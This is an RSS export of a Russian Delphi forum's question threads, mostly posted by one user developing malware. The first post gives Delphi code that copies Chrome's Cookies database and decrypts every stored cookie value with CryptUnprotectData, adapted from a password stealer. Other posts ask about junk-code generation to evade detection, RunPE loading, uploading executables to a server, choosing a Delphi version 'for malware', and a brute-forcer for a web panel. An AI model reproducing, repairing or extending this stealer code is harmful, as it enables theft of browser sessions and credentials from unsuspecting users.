<content:encoded>Скопипастил код декрипта паролей хрома - проверил, все работает. Переделал под декрипт куков - в итоге получил код: &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function StartGetChromePass(sqlite3Dll: string; Delimitador: string&amp;#41;: string; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;DB: TSQLiteDatabase; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Tablo: TSQLiteTable; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sifre: string; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Giren: DATA_BLOB; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Cikan: DATA_BLOB; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;DataStream: TMemorystream; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Arquivo, TempFile: string; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;result := &apos;&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;merdadll := sqlite3Dll; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Arquivo := GetShellFolder($001C&amp;#41; + &apos;&amp;#92;Google&amp;#92;Chrome&amp;#92;User Data&amp;#92;Default&amp;#92;Cookies&apos;; //ou &quot;web data&quot; no antigo &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;TempFile := MyTempFolder + inttostr(gettickcount&amp;#41; + &apos;.tmp&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if CopyFile(pchar(arquivo&amp;#41;, pchar(TempFile&amp;#41;, false&amp;#41; = false then exit; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;db := TSQLiteDatabase.Create(TempFile&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;tablo := DB.GetTable(&apos;SELECT * FROM cookies&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;While not tablo.EOF do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DataStream := TMemoryStream.Create; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DataStream := tablo.FieldAsBlob(tablo.FieldIndex&amp;#91;&apos;encrypted_value&apos;]&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Giren.pbData := DataStream.Memory; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Giren.cbData := DataStream.Size; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CryptUnProtectData(@Giren, nil,nil,nil,nil,0,@Cikan&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SetString(sifre, PAnsiChar(Cikan.pbData&amp;#41;, Cikan.cbData&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := Result + &apos;Host: &apos; + tablo.FieldAsString(tablo.FieldIndex&amp;#91;&apos;host_key&apos;]&amp;#41; + #13#10; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := Result + &apos;Name: &apos; + tablo.FieldAsString(tablo.FieldIndex&amp;#91;&apos;name&apos;]&amp;#41; + #13#10; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := Result + &apos;Value: &apos; + sifre + #13#10 + #13#10; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Tablo.Next; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;DeleteFile(pchar(TempFile&amp;#41;&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; И крашицо на &quot;tablo := DB.GetTable(&apos;SELECT * FROM cookies&apos;);&quot; с ошибкой &lt;br /&gt; &lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoilergKx_wL&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoilergKx_wL&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilergKx_wL&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilergKx_wL&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilergKx_wL&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoilergKx_wL&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilergKx_wL&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilergKx_wL&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoilergKx_wL&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;&lt;img src=&quot;https://i.gyazo.com/8fdebcdae3a21cdffb5546bdcc8f2a07.png&quot; border=&quot;0&quot; alt=&quot;&quot;/&gt;&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt; &lt;br /&gt;&lt;br /&gt; Не понимаю что не так, хелпаните плзз.</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>d4rkzy</dc:creator>
<guid>https://delfcode.ru/forum/29-1409-1</guid>
</item>
<item>
<title>Генератор мусорных функций и процедур</title>
<link>https://delfcode.ru/forum/29-1407-1</link>
<pubDate>Thu, 06 Aug 2015 16:11:38 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: d4rkzy&lt;br /&gt;Количество ответов: 9</description>
<content:encoded>Вообще-м, нужно в исходник файла проекта .pas закидывать мусорные функции, что бы автоматически сбивать функции. &lt;br /&gt;&lt;br /&gt; Если есть такая реализация - киньте сорец:) &lt;br /&gt; Если не же нет реалзиации, то давай-те придумаем как генерировать все это дело.</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>d4rkzy</dc:creator>
<guid>https://delfcode.ru/forum/29-1407-1</guid>
</item>
<item>
<title>RunPE .NET files</title>
<link>https://delfcode.ru/forum/29-1408-1</link>
<pubDate>Thu, 06 Aug 2015 00:16:31 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: d4rkzy&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>Как загрузить .net файл в память (дельфи) &lt;br /&gt;&lt;br /&gt; Как понимаю .net файлы отличаются от нативных - а чем именно отличаются?</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>d4rkzy</dc:creator>
<guid>https://delfcode.ru/forum/29-1408-1</guid>
</item>
<item>
<title>Array of Byte в string</title>
<link>https://delfcode.ru/forum/29-1406-1</link>
<pubDate>Wed, 05 Aug 2015 13:38:21 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: d4rkzy&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>Как перевести содержимое array of byte в STRING &lt;br /&gt;&lt;br /&gt; (например) &lt;br /&gt; Fucker: Array [0 ..22] Of Byte = ($55, $8B, $EC, $81, $C4, $A4, $FA, $FF, $FF, $89, $45, &lt;br /&gt; $FC, $E8, $1B, $02, $00, $00, $89, $85, $CC, $FD)</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>d4rkzy</dc:creator>
<guid>https://delfcode.ru/forum/29-1406-1</guid>
</item>
<item>
<title>Seek на HEX адресс</title>
<link>https://delfcode.ru/forum/29-1404-1</link>
<pubDate>Fri, 31 Jul 2015 21:25:10 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Переместить указатель в нужную точку&lt;br /&gt;Автор темы: Slash&lt;br /&gt;Автор последнего сообщения: Волк-1024&lt;br /&gt;Количество ответов: 9</description>
<content:encoded>Добрый день, ребята. В exe файле по адресу 0041101E вызывается функция, в этот адресс мне записать вместо оригинальной команды свою - jmp мой адресс(EB FD), так вот, как с помощью Seek(F, ...) переместится по адресу 0041101E? &lt;br /&gt;&lt;br /&gt; Так тоже пробовал - перемещает на 4mb &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; SetFilePointer(f, $0041101E,0, 0&amp;#41;; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>Slash</dc:creator>
<guid>https://delfcode.ru/forum/29-1404-1</guid>
</item>
<item>
<title>анти-кряк привязка к железу</title>
<link>https://delfcode.ru/forum/29-1347-1</link>
<pubDate>Sat, 25 Jul 2015 08:58:16 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: Neo&lt;br /&gt;Количество ответов: 12</description>
<content:encoded>Вообще-м нужно привязать программу к одному компу, железу. &lt;br /&gt; Как лучше сделать что бы минизировать % кряка, а лучше вообще без шанса на кряк? Думал функционал программы перенести на http сервер - правда не знаю как лучше сделать что бы скорость не потерять. У кого какие идеи? &lt;br /&gt;&lt;br /&gt; П.С - программа к примеру вылазиет в интернет и парсит ссылки с яндекса.</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>d4rkzy</dc:creator>
<guid>https://delfcode.ru/forum/29-1347-1</guid>
</item>
<item>
<title>Парсер</title>
<link>https://delfcode.ru/forum/29-1393-1</link>
<pubDate>Thu, 18 Jun 2015 02:41:54 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Born&lt;br /&gt;Автор последнего сообщения: Neo&lt;br /&gt;Количество ответов: 7</description>
<content:encoded>Всем привет. &lt;br /&gt; Ребят подскажите пожалуйста. &lt;br /&gt; Вообщем хочу написать программу,которая будет определять ip адрес по стране. &lt;br /&gt; Например задал я программе файл со списком ip адресов,и выбрал в комбебоксе город например москва,и программа бы вывила бы из файла тот диапазон ip адресов который относится к городу москва. &lt;br /&gt;&lt;br /&gt; Как это реализовать? &lt;br /&gt; Подскажите пожалуйста какие функции использовать. &lt;br /&gt; Буду благодарин</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>Born</dc:creator>
<guid>https://delfcode.ru/forum/29-1393-1</guid>
</item>
<item>
<title>internal error d11850</title>
<link>https://delfcode.ru/forum/29-1394-1</link>
<pubDate>Fri, 12 Jun 2015 17:24:23 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: ETUN4&lt;br /&gt;Автор последнего сообщения: ETUN4&lt;br /&gt;Количество ответов: 5</description>
<content:encoded>Всем привет. &lt;br /&gt; Компилирую проект с помощью bat-файла. &lt;br /&gt; В нём вот что написано: &lt;br /&gt; &lt;!--uzquote--&gt;&lt;div class=&quot;bbQuoteBlock&quot;&gt;&lt;div class=&quot;bbQuoteName&quot; style=&quot;padding-left:5px;font-size:7pt&quot;&gt;&lt;b&gt;Цитата&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;quoteMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzq--&gt;dcc32.exe -q system.pas sysinit.pas -m -y -z -$d- -o &lt;br /&gt; dcc32.exe myprog1.dpr &lt;br /&gt; pause&lt;!--/uzq--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzquote--&gt; &lt;br /&gt; Рядом положил все необходимые файлы, но когда компилирую пишет ошибку. Скриншот: &lt;br /&gt; &lt;img src=&quot;https://delfcode.ru/_fr/13/7114694.png&quot; border=&quot;0&quot; alt=&quot;&quot;/&gt; &lt;br /&gt; Как это исправить? В чём проблема?</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>ETUN4</dc:creator>
<guid>https://delfcode.ru/forum/29-1394-1</guid>
</item>
<item>
<title>Кодирование строк перед отправкой на сервер</title>
<link>https://delfcode.ru/forum/29-1392-1</link>
<pubDate>Mon, 08 Jun 2015 14:26:11 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: Волк-1024&lt;br /&gt;Количество ответов: 5</description>
<content:encoded>Есть некая абстрактная программа, которая при запуске читает какой нибудь .exe файл и отправляет его на сервер посредством post запроса (winsock api) &lt;br /&gt; .ехе файл то бинарный, и как факт на сервер передаются бинарные строки - которые могут оборваться в любой момент - значит файл нужно как нибудь закодировать. &lt;br /&gt;&lt;br /&gt; Думал кодировать base64 - ну не нашел функции которая кодировала бы крякозябры вроде åß∂ƒ©˙∆˚¬ &lt;br /&gt; Думал StrToHex - ну это вообще не о чем. &lt;br /&gt;&lt;br /&gt; Кто может помочь функцией?</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>d4rkzy</dc:creator>
<guid>https://delfcode.ru/forum/29-1392-1</guid>
</item>
<item>
<title>Пароль на жесткий диск</title>
<link>https://delfcode.ru/forum/29-1391-1</link>
<pubDate>Sun, 07 Jun 2015 08:29:56 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Установить/Снять пароль на HDD&lt;br /&gt;Автор темы: vint&lt;br /&gt;Автор последнего сообщения: vint&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>Доброго времени суток, ув. форумчане. перерыл весь инет и нигде не нашел информации как средствами делфи поставить пароль на хард. Зато нашел этот сайт, который очень понравился. Я надеюсь на вашу помощь.</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>vint</dc:creator>
<guid>https://delfcode.ru/forum/29-1391-1</guid>
</item>
<item>
<title>Delphi XE компилятор</title>
<link>https://delfcode.ru/forum/29-1389-1</link>
<pubDate>Tue, 26 May 2015 13:08:20 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: Волк-1024&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>Какие нужны файлы для компиляции .dpr в .ехе на любом компе без установленного дельфи? &lt;br /&gt; Надеюсь правильно выразился. Нужно скомпилировать .ехе - ну на компьютере нет установленного дельфи.</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>d4rkzy</dc:creator>
<guid>https://delfcode.ru/forum/29-1389-1</guid>
</item>
<item>
<title>Сишники перепишите функцию на дельфу</title>
<link>https://delfcode.ru/forum/29-1387-1</link>
<pubDate>Sat, 23 May 2015 09:43:07 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: d4rkzy&lt;br /&gt;Количество ответов: 5</description>
<content:encoded>&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;int regkeyr(HKEY hKey, LPCTSTR lpSubKey, LPTSTR lpValueName, char *buff, DWORD len&amp;#41; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HKEY&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;key; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;buff&amp;#91;0] = 0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(RegOpenKeyEx(hKey, lpSubKey, 0, KEY_READ, &amp;key&amp;#41; != ERROR_SUCCESS&amp;#41; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return(-1&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(RegQueryValueEx(key, lpValueName, NULL, REG_NONE, buff, &amp;len&amp;#41; != ERROR_SUCCESS&amp;#41; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RegCloseKey(key&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return(-1&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RegCloseKey(key&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;buff&amp;#91;len] = 0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return(len&amp;#41;; &lt;br /&gt; }&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; Перепишите эту функцию на дельфи пожалуйста, используется сплошное апи, думаю труда не составит.</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>d4rkzy</dc:creator>
<guid>https://delfcode.ru/forum/29-1387-1</guid>
</item>
<item>
<title>Контроль за строкой URL браузера</title>
<link>https://delfcode.ru/forum/29-1364-1</link>
<pubDate>Tue, 19 May 2015 07:23:44 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Как осуществить?&lt;br /&gt;Автор темы: Don_Diego&lt;br /&gt;Автор последнего сообщения: wog&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>Нужно получить реал-таймовый контроль за данными в строке ввода URL в браузере. &lt;br /&gt; Знаю что сейчас многие скажут это древний век и нужно делать свой сниффер. Однако нет, нужны данные именно оттуда &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;br /&gt; Загвоздка как раз в том, что не могу отыскать имена контролов (например в Google Chrome). &lt;br /&gt; Использовал разные Spy++, InqSoft Window Scanner - ничего не помогло. &lt;br /&gt; Как быть?</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>Don_Diego</dc:creator>
<guid>https://delfcode.ru/forum/29-1364-1</guid>
</item>
<item>
<title>delphi 7 или XE7?</title>
<link>https://delfcode.ru/forum/29-1383-1</link>
<pubDate>Sun, 26 Apr 2015 15:02:50 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: Волк-1024&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>В чем отличия между этими двумя софтами? &lt;br /&gt; Какой лучше для зловоредов - почему? &lt;br /&gt;&lt;br /&gt; дельфи 7 - говорят что нет поддержки работы на х64 (ехешников) - правда или нет?</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>d4rkzy</dc:creator>
<guid>https://delfcode.ru/forum/29-1383-1</guid>
</item>
<item>
<title>winsock и time out</title>
<link>https://delfcode.ru/forum/29-1366-1</link>
<pubDate>Thu, 12 Mar 2015 15:00:08 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: d4rkzy&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>Пишу функцию URL to HTML. Страница парсится, на ошибки проверяю. Ну иногда процесс парса длится слишком долго (ответ сервера) &lt;br /&gt;&lt;br /&gt; Как реализовать timeout функцию? что бы спустя 5 секунд если нет ответа функция завершала сама себя, &lt;br /&gt;&lt;br /&gt; аля idhttp.timeout</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>d4rkzy</dc:creator>
<guid>https://delfcode.ru/forum/29-1366-1</guid>
</item>
<item>
<title>Брут</title>
<link>https://delfcode.ru/forum/29-1365-1</link>
<pubDate>Thu, 12 Mar 2015 14:56:40 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: d4rkzy&lt;br /&gt;Количество ответов: 4</description>
<content:encoded>Накидал код для брута панельки интернета. Сделал потоки - все работает. Одно но - иногда пропускает гуды и случайно кидает в бед. &lt;br /&gt;&lt;br /&gt; Как пофикстить? Есть у кого нибудь пример стабильного поток брута?</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>d4rkzy</dc:creator>
<guid>https://delfcode.ru/forum/29-1365-1</guid>
</item>

</channel>
</rss>